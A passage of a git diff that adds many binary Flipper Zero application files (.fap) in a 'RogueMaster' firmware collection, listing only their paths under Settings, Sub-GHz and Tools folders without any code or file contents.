b/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap new file mode 100644 index 000000000..a1889516b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap new file mode 100644 index 000000000..b5ab25945 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap new file mode 100644 index 000000000..781837719 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap new file mode 100644 index 000000000..a79e5a407 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap new file mode 100644 index 000000000..b6f849315 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap new file mode 100644 index 000000000..c093d0d77 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap new file mode 100644 index 000000000..de6bdc64c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap new file mode 100644 index 000000000..6f499a0a7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap new file mode 100644 index 000000000..06b0ab695 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap new file mode 100644 index 000000000..72738cc6c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap new file mode 100644 index 000000000..9844ef81f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap new file mode 100644 index 000000000..6413a956c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap new file mode 100644 index 000000000..c44e5527f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap new file mode 100644 index 000000000..aaf0fe76e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap new file mode 100644 index 000000000..884f5ffb2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap new file mode 100644 index 000000000..1fba004d1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap new file mode 100644 index 000000000..1671c2e6a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap new file mode 100644 index 000000000..c1d3d4b11 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap new file mode 100644 index 000000000..945fc75c3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap new file mode 100644 index 000000000..796e02b76 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap new file mode 100644 index 000000000..92052f41c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap new file mode 100644 index 000000000..32d9564a7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap new file mode 100644 index 000000000..727b52278 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap new file mode 100644 index 000000000..0e219fad3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap new file mode 100644 index 000000000..f46389a2b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap new file mode 100644 index 000000000..c6a58b50f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap new file mode 100644 index 000000000..f520e8c72 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap new file mode 100644 index 000000000..fa2dd9aee Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap new file mode 100644 index 000000000..6cb8a07d1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap new file mode 100644 index 000000000..ed649e977 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap new file mode 100644 index 000000000..11eda1d86 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap new file mode 100644 index 000000000..357ccc8c5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap new file mode 100644 index 000000000..88a237f1c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap new file mode 100644 index 000000000..a12603244 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap new file mode 100644 index 000000000..a0cdc6fe7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap new file mode 100644 index 000000000..a859213ef Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap new file mode 100644 index 000000000..4717b6329 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap new file mode 100644 index 000000000..5a41bbec9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap new file mode 100644 index 000000000..b0de2fafd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap new file mode 100644 index 000000000..996502d60 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap new file mode 100644 index 000000000..f81bf6ec2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/blinker.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/blinker.fap new file mode 100644 index 000000000..c4825387d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/blinker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap new file mode 100644 index 000000000..6c823d7e8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap new file mode 100644 index 000000000..d391d0f9c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap new file mode 100644 index 000000000..5afdcc2dd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap new file mode 100644 index 000000000..616b9460c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap new file mode 100644 index 000000000..1f2079c1a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap new file mode 100644 index 000000000..639886f5a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap new file mode 100644 index 000000000..e0cb87aa3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/combo_cracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/combo_cracker.fap new file mode 100644 index 000000000..f112fde78 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/combo_cracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap new file mode 100644 index 000000000..92d75130d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap new file mode 100644 index 000000000..a8d5e0578 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap new file mode 100644 index 000000000..5b7398d51 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap new file mode 100644 index 000000000..556e457ef Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap new file mode 100644 index 000000000..c6f2573cd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap new file mode 100644 index 000000000..3856b4206 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap new file mode 100644 index 000000000..6f8d6d24c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap new file mode 100644 index 000000000..945968e9d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap new file mode 100644 index 000000000..89c953d47 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap new file mode 100644 index 000000000..db3002461 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap new file mode 100644 index 000000000..968013fa2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap new file mode 100644 index 000000000..db7a538a6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/fordradiocode.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/fordradiocode.fap new file mode 100644 index 000000000..11121d38a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/fordradiocode.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap new file mode 100644 index 000000000..2f13f736b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap new file mode 100644 index 000000000..97f0d0677 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap new file mode 100644 index 000000000..6c8685d26 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap new file mode 100644 index 000000000..cbf6c11a6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap new file mode 100644 index 000000000..b4de653bc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap new file mode 100644 index 000000000..16685311f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap new file mode 100644 index 000000000..cace2e4d0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap new file mode 100644 index 000000000..d3bfb2161 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/moon_phases.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/moon_phases.fap new file mode 100644 index 000000000..1b6cbf5eb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/moon_phases.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap new file mode 100644 index 000000000..9a5752e58 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/nickname_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/nickname_generator.fap new file mode 100644 index 000000000..99c7daac6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/nickname_generator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap new file mode 100644 index 000000000..7e9121753 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap new file mode 100644 index 000000000..b1fa62b85 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap new file mode 100644 index 000000000..f4558c7be Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap new file mode 100644 index 000000000..3099078b5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/password_manager.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/password_manager.fap new file mode 100644 index 000000000..fc9ffeae7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/password_manager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap new file mode 100644 index 000000000..fa65f504e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_your_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_your_dolphin.fap new file mode 100644 index 000000000..f51c9fc20 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_your_dolphin.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap new file mode 100644 index 000000000..11e310e7f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap new file mode 100644 index 000000000..9c323c4cb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap new file mode 100644 index 000000000..ca8953f28 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap new file mode 100644 index 000000000..6410b2cca Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap new file mode 100644 index 000000000..76216d767 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap new file mode 100644 index 000000000..58daee80c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap new file mode 100644 index 000000000..c74f7ad35 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap new file mode 100644 index 000000000..f3676225f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap new file mode 100644 index 000000000..572426b3e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/smartra.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/smartra.fap new file mode 100644 index 000000000..2683e8724 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/smartra.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap new file mode 100644 index 000000000..3fec78ee5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap new file mode 100644 index 000000000..9baa16521 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap new file mode 100644 index 000000000..abe642952 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap new file mode 100644 index 000000000..c17e79b17 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/timer_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/timer_app.fap new file mode 100644 index 000000000..098eb707f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/timer_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap new file mode 100644 index 000000000..c7d4a891b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap new file mode 100644 index 000000000..43f85cc6c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap new file mode 100644 index 000000000..6559991f1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap new file mode 100644 index 000000000..de062d824 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap new file mode 100644 index 